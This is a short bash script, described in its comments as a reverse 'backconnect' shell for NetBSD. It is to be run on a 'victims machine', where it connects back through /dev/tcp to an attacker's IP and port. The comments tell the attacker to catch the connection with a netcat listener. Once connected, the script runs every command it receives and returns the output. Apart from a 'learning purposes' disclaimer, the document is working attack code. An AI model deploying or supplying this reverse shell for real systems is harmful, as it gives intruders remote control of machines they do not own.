#!/usr/pkg/bin/bash # Author : REMOVED AT REQUEST OF AUTHOR # ################################ # # Reverse netBSD backconnect script written in bash # ################################ # # Tested on netBSD 5.0.1 # # This example is only for learning purposes # # Usage: "bash backdonnect.sh IPaddr port " on victims machine # # On attacker machine use netcat "nc -lvvp IP port" # # Script was made as a result of playing with bash and /dev/tcp # # And it is important that script is running in bash shell if [ -z "$2" ]; then echo " Usage: "bash portbind.sh IPaddr port"" exit fi exec strings /usr/pkg/bin/bash | grep tcp exec 7<> /dev/tcp/$1/$2 cat <&7 | while read command; do if [ $command == "stop" ]; then exit 1 else $command 2>&7 >&7; fi done